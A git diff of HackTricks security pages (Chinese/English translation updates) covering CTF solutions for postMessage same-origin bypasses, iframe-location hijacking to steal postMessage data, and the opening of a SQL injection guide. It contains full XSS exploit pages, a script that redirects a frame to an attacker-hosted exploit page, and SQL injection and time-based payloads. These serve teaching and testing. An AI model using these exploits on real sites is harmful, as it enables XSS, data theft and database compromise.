在由[**NDevTK**](https://github.com/NDevTK)和[**Terjanq**](https://github.com/terjanq)创建的[**挑战**](https://github.com/terjanq/same-origin-xss)中,您需要利用代码中的XSS。
|
||||
在这个由 [**NDevTK**](https://github.com/NDevTK) 和 [**Terjanq**](https://github.com/terjanq) 创建的 [**挑战**](https://github.com/terjanq/same-origin-xss) 中,你需要利用编码中的 XSS。
|
||||
```javascript
|
||||
const identifier = '4a600cd2d4f9aa1cfb5aa786';
|
||||
onmessage = e => {
|
||||
|
@ -25,26 +28,26 @@ renderContainer.innerHTML = data.body;
|
|||
}
|
||||
}
|
||||
```
|
||||
主要问题在于[**主页**](https://so-xss.terjanq.me)使用DomPurify发送`data.body`,因此为了将您自己的html数据发送到该代码,您需要**绕过**`e.origin !== window.origin`。
|
||||
主要问题是[**主页面**](https://so-xss.terjanq.me)使用DomPurify发送`data.body`,因此为了将自己的html数据发送到该代码,您需要**绕过**`e.origin !== window.origin`。
|
||||
|
||||
让我们看看他们提出的解决方案。
|
||||
|
||||
### SOP绕过 1 (e.origin === null)
|
||||
### SOP绕过1 (e.origin === null)
|
||||
|
||||
当`//example.org`被嵌入到一个**受沙箱保护的iframe**中时,页面的**origin**将为**`null`**,即**`window.origin === null`**。因此,只需通过`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe,我们就可以**强制`null` origin**。
|
||||
当`//example.org`嵌入到一个**沙盒iframe**中时,页面的**源**将是**`null`**,即**`window.origin === null`**。因此,仅通过使用`<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">`嵌入iframe,我们可以**强制`null`源**。
|
||||
|
||||
如果页面是**可嵌入的**,您可以通过这种方式绕过该保护(可能还需要将cookie设置为`SameSite=None`)。
|
||||
如果页面是**可嵌入的**,您可以通过这种方式绕过该保护(cookies可能也需要设置为`SameSite=None`)。
|
||||
|
||||
### SOP绕过 2 (window.origin === null)
|
||||
### SOP绕过2 (window.origin === null)
|
||||
|
||||
较少人知道的事实是,当设置**沙箱值`allow-popups`**时,**打开的弹出窗口**将**继承**所有**受沙箱保护的属性**,除非设置了`allow-popups-to-escape-sandbox`。\
|
||||
因此,从**null origin**打开一个**弹出窗口**将使弹出窗口内部的**`window.origin`**也变为**`null`**。
|
||||
较少为人知的事实是,当**沙盒值`allow-popups`被设置**时,**打开的弹出窗口**将**继承**所有**沙盒属性**,除非设置了`allow-popups-to-escape-sandbox`。\
|
||||
因此,从**null源**打开**弹出窗口**将使弹出窗口内的**`window.origin`**也为**`null`**。
|
||||
|
||||
### 挑战解决方案
|
||||
|
||||
因此,对于这个挑战,可以**创建**一个**iframe**,**打开一个弹出窗口**到具有易受XSS代码处理程序(`/iframe.php`)的页面,因为`window.origin === e.origin`,因为两者都是`null`,所以可以**发送一个将利用XSS的有效负载**。
|
||||
因此,对于这个挑战,可以**创建**一个**iframe**,**打开一个弹出窗口**到具有易受攻击的XSS代码处理程序的页面(`/iframe.php`),因为`window.origin === e.origin`因为两者都是`null`,所以可以**发送一个有效载荷来利用XSS**。
|
||||
|
||||
该**有效负载**将获取**标识符**并将一个**XSS**发送回**顶部页面**(打开弹出窗口的页面),**该页面**将**更改位置**到**易受攻击的**`/iframe.php`。因为标识符是已知的,所以不需要满足条件`window.origin === e.origin`(请记住,origin是来自具有**origin** **`null`**的iframe的**弹出窗口**)因为`data.identifier === identifier`。然后,**XSS将再次触发**,这次在正确的origin中。
|
||||
该**有效载荷**将获取**标识符**并将**XSS**发送**回到主页面**(打开弹出窗口的页面),**这将**使**位置**更改为**易受攻击的**`/iframe.php`。因为标识符是已知的,所以不管条件`window.origin === e.origin`是否满足都无关紧要(请记住,源是来自具有**源**为**`null`**的iframe的**弹出窗口**),因为`data.identifier === identifier`。然后,**XSS将再次触发**,这次在正确的源中。
|
||||
```html
|
||||
<body>
|
||||
<script>
|
||||
|
@ -79,14 +82,17 @@ document.body.appendChild(f);
|
|||
</script>
|
||||
</body>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上做广告**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,32 +1,35 @@
|
|||
# 通过使用 iframe 绕过 SOP - 2
|
||||
# Bypassing SOP with Iframes - 2
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在 **网络安全公司** 工作吗? 想要看到您的 **公司在 HackTricks 中被宣传** 吗? 或者您想要访问 **PEASS 的最新版本或下载 PDF 格式的 HackTricks** 吗? 请查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家 [**NFTs**](https://opensea.io/collection/the-peass-family) 集合 [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取 [**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或者 [**电报群组**](https://t.me/peass) 或者 **在 Twitter 上** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)** 上关注** 我。
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## SOP-2 中的 iframe
|
||||
## Iframes in SOP-2
|
||||
|
||||
在这个 [**挑战**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc) 的 [**解决方案**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)** 中,[**@Strellic\_**](https://twitter.com/Strellic\_) 提出了与上一节类似的方法。让我们来看看。
|
||||
在这个[**挑战**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc)的[**解决方案**](https://github.com/project-sekai-ctf/sekaictf-2022/tree/main/web/obligatory-calc/solution)**中,** [**@Strellic\_**](https://twitter.com/Strellic\_) 提出了与前一部分类似的方法。让我们来看看。
|
||||
|
||||
在这个挑战中,攻击者需要 **绕过**:
|
||||
在这个挑战中,攻击者需要**绕过**这个:
|
||||
```javascript
|
||||
if (e.source == window.calc.contentWindow && e.data.token == window.token) {
|
||||
```
|
||||
如果他这样做,他可以发送一个包含HTML内容的**postmessage**,该内容将被写入页面中的**`innerHTML`**,而不经过消毒(**XSS**)。
|
||||
如果他这样做,他可以发送一个 **postmessage**,其中包含将通过 **`innerHTML`** 写入页面的 HTML 内容,而没有进行清理(**XSS**)。
|
||||
|
||||
绕过**第一个检查**的方法是将**`window.calc.contentWindow`**设置为**`undefined`**,将**`e.source`**设置为**`null`**:
|
||||
绕过 **第一个检查** 的方法是将 **`window.calc.contentWindow`** 设置为 **`undefined`**,并将 **`e.source`** 设置为 **`null`**:
|
||||
|
||||
- **`window.calc.contentWindow`** 实际上是**`document.getElementById("calc")`**。您可以使用**`<img name=getElementById />`**来覆盖**`document.getElementById`**(请注意,消毒器API-[此处](https://wicg.github.io/sanitizer-api/#dom-clobbering)-未配置为在其默认状态下防范DOM覆盖攻击)。
|
||||
- 因此,您可以使用**`<img name=getElementById /><div id=calc></div>`**来覆盖**`document.getElementById("calc")`**。然后,**`window.calc`**将变为**`undefined`**。
|
||||
- 现在,我们需要**`e.source`**为**`undefined`**或**`null`**(因为使用`==`而不是`===`,**`null == undefined`**为**`True`**)。获得这个是“容易的”。如果您创建一个**iframe**并从中**发送**一个**postMessage**,然后立即**删除**该iframe,**`e.origin`**将变为**`null`**。请检查以下代码
|
||||
* **`window.calc.contentWindow`** 实际上是 **`document.getElementById("calc")`**。你可以用 **`<img name=getElementById />`** 来覆盖 **`document.getElementById`**(请注意,Sanitizer API -[这里](https://wicg.github.io/sanitizer-api/#dom-clobbering)- 在其默认状态下未配置以防止 DOM 覆盖攻击)。
|
||||
* 因此,你可以用 **`<img name=getElementById /><div id=calc></div>`** 来覆盖 **`document.getElementById("calc")`**。然后,**`window.calc`** 将是 **`undefined`**。
|
||||
* 现在,我们需要 **`e.source`** 是 **`undefined`** 或 **`null`**(因为使用的是 `==` 而不是 `===`,**`null == undefined`** 是 **`True`**)。实现这一点是“简单”的。如果你创建一个 **iframe** 并从中 **发送** 一个 **postMessage**,然后立即 **移除** 该 iframe,**`e.origin`** 将变为 **`null`**。检查以下代码
|
||||
```javascript
|
||||
let iframe = document.createElement('iframe');
|
||||
document.body.appendChild(iframe);
|
||||
|
@ -35,12 +38,12 @@ await new Promise(r => setTimeout(r, 2000)); // wait for page to load
|
|||
iframe.contentWindow.eval(`window.parent.target.postMessage("A", "*")`);
|
||||
document.body.removeChild(iframe); //e.origin === null
|
||||
```
|
||||
为了绕过关于令牌的**第二次检查**,可以通过发送值为`null`的**`token`**并使**`window.token`**的值为**`undefined`**来实现:
|
||||
为了绕过关于令牌的**第二个检查**,可以发送值为`null`的**`token`**并使**`window.token`**的值为**`undefined`**:
|
||||
|
||||
- 在postMessage中发送值为`null`的`token`是微不足道的。
|
||||
- **`window.token`** 在调用使用**`document.cookie`**的函数**`getCookie`**中。请注意,在**`null`**来源页面中访问**`document.cookie`**会触发一个**错误**。这将使**`window.token`**的值为**`undefined`**。
|
||||
* 在postMessage中发送值为`null`的`token`是微不足道的。
|
||||
* 在调用使用**`document.cookie`**的函数**`getCookie`**时,**`window.token`**。请注意,在**`null`**源页面访问**`document.cookie`**会触发一个**错误**。这将使**`window.token`**的值为**`undefined`**。
|
||||
|
||||
最终解决方案由[**@terjanq**](https://twitter.com/terjanq)提出,如下所示:[**following**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html)。
|
||||
最终解决方案由[**@terjanq**](https://twitter.com/terjanq)提供,见[**以下**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
|
||||
```html
|
||||
<html>
|
||||
<body>
|
||||
|
@ -76,14 +79,17 @@ setTimeout(start, 1000);
|
|||
</body>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks中被宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的 **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,24 +1,27 @@
|
|||
# 窃取 postmessage 修改 iframe 位置
|
||||
# Steal postmessage modifying iframe location
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习 AWS 黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS 红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗? 想要在 HackTricks 中看到您的**公司广告**? 或者想要访问**PEASS 的最新版本或下载 HackTricks 的 PDF**? 请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 发现我们的独家[NFTs 集合](https://opensea.io/collection/the-peass-family) - [**The PEASS Family**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**电报群组**](https://t.me/peass) 或在 **Twitter** 上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向 [hacktricks 仓库](https://github.com/carlospolop/hacktricks) 和 [hacktricks-cloud 仓库](https://github.com/carlospolop/hacktricks-cloud) 提交 PR 来分享您的黑客技巧**。
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## 更改子 iframe 位置
|
||||
## Changing child iframes locations
|
||||
|
||||
根据[**这篇文章**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/),如果您可以在没有 X-Frame-Header 的网页中嵌入包含另一个 iframe 的网页,您可以**更改该子 iframe 的位置**。
|
||||
根据[**这篇文章**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/),如果你可以在没有 X-Frame-Header 的情况下将一个网页嵌入为 iframe,并且该网页包含另一个 iframe,你可以**更改该子 iframe 的位置**。
|
||||
|
||||
例如,如果 abc.com 将 efg.com 作为 iframe,并且 abc.com 没有 X-Frame 头,我可以使用 **`frames.location`** 将 efg.com 更改为恶意网站 evil.com,跨源。
|
||||
例如,如果 abc.com 将 efg.com 作为 iframe,并且 abc.com 没有 X-Frame header,我可以使用 **`frames.location`** 将 efg.com 更改为 evil.com 跨域。
|
||||
|
||||
这在**postMessages**中特别有用,因为如果页面使用类似 `windowRef.postmessage("","*")` 这样的**通配符**发送敏感数据,就有可能**更改相关 iframe(子级或父级)的位置到攻击者控制的位置**,从而窃取这些数据。
|
||||
这在 **postMessages** 中特别有用,因为如果一个页面使用 **通配符** 发送敏感数据,例如 `windowRef.postmessage("","*")`,则可以**将相关 iframe(子或父)的地址更改为攻击者控制的位置**并窃取该数据。
|
||||
```html
|
||||
<html>
|
||||
<iframe src="https://docs.google.com/document/ID" />
|
||||
|
@ -35,14 +38,17 @@ window.frames[0].frame[0][2].location="https://geekycat.in/exploit.html";
|
|||
</script>
|
||||
</html>
|
||||
```
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 你在**网络安全公司**工作吗?想要看到你的**公司在HackTricks上宣传**吗?或者想要获取**PEASS的最新版本或下载HackTricks的PDF**吗?查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS & HackTricks周边**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或 **关注**我的**Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks仓库](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud仓库](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享你的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 来分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,33 @@
|
|||
# SQL注入
|
||||
# SQL Injection
|
||||
|
||||
{% hint style="success" %}
|
||||
学习与实践 AWS 黑客技术:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks 培训 AWS 红队专家 (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
学习与实践 GCP 黑客技术:<img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks 培训 GCP 红队专家 (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>从零开始学习AWS黑客技术,成为专家</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE(HackTricks AWS红队专家)</strong></a><strong>!</strong></summary>
|
||||
<summary>支持 HackTricks</summary>
|
||||
|
||||
* 您在**网络安全公司**工作吗?想要看到您的**公司在HackTricks中宣传**吗?或者想要访问**PEASS的最新版本或下载HackTricks的PDF**吗?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* 探索[**PEASS家族**](https://opensea.io/collection/the-peass-family),我们独家的[NFTs收藏品](https://opensea.io/collection/the-peass-family)
|
||||
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
|
||||
* **加入** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord群**](https://discord.gg/hRep4RUj7f) 或 [**电报群**](https://t.me/peass) 或在**Twitter**上关注我 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**。**
|
||||
* **通过向[hacktricks repo](https://github.com/carlospolop/hacktricks)和[hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)提交PR来分享您的黑客技巧**。
|
||||
* 查看 [**订阅计划**](https://github.com/sponsors/carlospolop)!
|
||||
* **加入** 💬 [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**Telegram 群组**](https://t.me/peass) 或 **关注** 我们的 **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **通过向** [**HackTricks**](https://github.com/carlospolop/hacktricks) 和 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub 仓库提交 PR 分享黑客技巧。
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="https://files.gitbook.com/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F-L_2uGJGU7AVNRcqRvEi%2Fuploads%2FelPCTwoecVdnsfjxCZtN%2Fimage.png?alt=media&token=9ee4ff3e-92dc-471c-abfe-1c25e446a6ed" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**RootedCON**](https://www.rootedcon.com/)是西班牙最重要的网络安全活动之一,也是欧洲最重要的之一。作为促进技术知识的使命,这个大会是技术和网络安全专业人士在各个领域的热点交流地。
|
||||
[**RootedCON**](https://www.rootedcon.com/) 是 **西班牙** 最相关的网络安全事件,也是 **欧洲** 最重要的事件之一。该大会的 **使命是促进技术知识**,是各个学科技术和网络安全专业人士的一个热烈交流点。
|
||||
|
||||
{% embed url="https://www.rootedcon.com/" %}
|
||||
|
||||
## 什么是SQL注入?
|
||||
## 什么是 SQL 注入?
|
||||
|
||||
**SQL注入**是一种安全漏洞,允许攻击者干扰应用程序的数据库查询。这种漏洞可以使攻击者**查看**、**修改**或**删除**他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致对应用程序功能或内容的永久更改,甚至危及服务器或造成拒绝服务。
|
||||
**SQL 注入** 是一种安全漏洞,允许攻击者 **干扰应用程序的数据库查询**。此漏洞使攻击者能够 **查看**、**修改** 或 **删除** 他们不应访问的数据,包括其他用户的信息或应用程序可以访问的任何数据。这些行为可能导致应用程序功能或内容的永久性更改,甚至可能导致服务器的泄露或拒绝服务。
|
||||
|
||||
## 入口点检测
|
||||
|
||||
当网站由于对SQL注入(SQLi)相关输入的异常服务器响应而**易受攻击**时,**第一步**是了解如何**在不中断查询的情况下注入数据**。这需要有效地识别**从当前上下文中逃逸**的方法。
|
||||
当一个网站由于对与 SQLi 相关的输入的异常服务器响应而 **看似易受 SQL 注入 (SQLi)** 攻击时,**第一步** 是了解如何 **在不干扰查询的情况下注入数据**。这需要有效识别 **逃离当前上下文** 的方法。
|
||||
以下是一些有用的示例:
|
||||
```
|
||||
[Nothing]
|
||||
|
@ -38,11 +41,11 @@
|
|||
"))
|
||||
`))
|
||||
```
|
||||
然后,您需要知道如何**修复查询以避免错误**。为了修复查询,您可以**输入**数据,使**先前的查询接受新数据**,或者您可以只是**输入**您的数据并**在末尾添加注释符号**。
|
||||
然后,您需要知道如何**修复查询以避免错误**。为了修复查询,您可以**输入**数据,以便**先前的查询接受新数据**,或者您可以直接**输入**您的数据并**在末尾添加注释符号**。
|
||||
|
||||
_请注意,如果您可以看到错误消息或者可以发现查询在工作时和不工作时的差异,这个阶段将会更容易。_
|
||||
_请注意,如果您能看到错误消息或能够发现查询正常工作与不正常工作时的差异,这个阶段将会更容易。_
|
||||
|
||||
### **注释**
|
||||
### **评论**
|
||||
```sql
|
||||
MySQL
|
||||
#comment
|
||||
|
@ -68,26 +71,26 @@ SQLite
|
|||
HQL
|
||||
HQL does not support comments
|
||||
```
|
||||
### 使用逻辑操作确认
|
||||
### 使用逻辑运算进行确认
|
||||
|
||||
确认 SQL 注入漏洞的可靠方法包括执行**逻辑操作**并观察预期结果。例如,当修改 GET 参数,如 `?username=Peter` 到 `?username=Peter' or '1'='1` 时产生相同内容,表明存在 SQL 注入漏洞。
|
||||
确认 SQL 注入漏洞的可靠方法涉及执行 **逻辑运算** 并观察预期结果。例如,GET 参数如 `?username=Peter` 在修改为 `?username=Peter' or '1'='1` 时产生相同内容,表明存在 SQL 注入漏洞。
|
||||
|
||||
同样,应用**数学操作**作为有效的确认技术。例如,如果访问 `?id=1` 和 `?id=2-1` 产生相同结果,则表明存在 SQL 注入。
|
||||
同样,应用 **数学运算** 作为有效的确认技术。例如,如果访问 `?id=1` 和 `?id=2-1` 产生相同结果,这表明存在 SQL 注入。
|
||||
|
||||
演示逻辑操作确认的示例:
|
||||
演示逻辑运算确认的示例:
|
||||
```
|
||||
page.asp?id=1 or 1=1 -- results in true
|
||||
page.asp?id=1' or 1=1 -- results in true
|
||||
page.asp?id=1" or 1=1 -- results in true
|
||||
page.asp?id=1 and 1=2 -- results in false
|
||||
```
|
||||
这个单词列表是为了尝试以提议的方式**确认SQL注入**而创建的:
|
||||
这个词汇表是为了尝试**确认SQL注入**而创建的,方法如下:
|
||||
|
||||
{% file src="../../.gitbook/assets/sqli-logic.txt" %}
|
||||
|
||||
### 使用时间确认
|
||||
### 通过时间确认
|
||||
|
||||
在某些情况下,您**不会注意到页面**上的任何变化。因此,发现盲目SQL注入的一个好方法是让数据库执行操作,这将**影响页面加载所需的时间**。\
|
||||
在某些情况下,你**不会注意到任何变化**在你正在测试的页面上。因此,发现盲注入的一个好方法是让数据库执行操作,这将对页面加载所需的**时间**产生**影响**。\
|
||||
因此,我们将在SQL查询中连接一个需要很长时间才能完成的操作:
|
||||
```
|
||||
MySQL (string concat and logical ops)
|
||||
|
@ -110,11 +113,11 @@ SQLite
|
|||
1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2))))
|
||||
1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2))))
|
||||
```
|
||||
在某些情况下,**sleep 函数可能不被允许**。因此,您可以使查询**执行复杂操作**,以便需要几秒钟的时间。_这些技术的示例将在每种技术中单独进行说明_。
|
||||
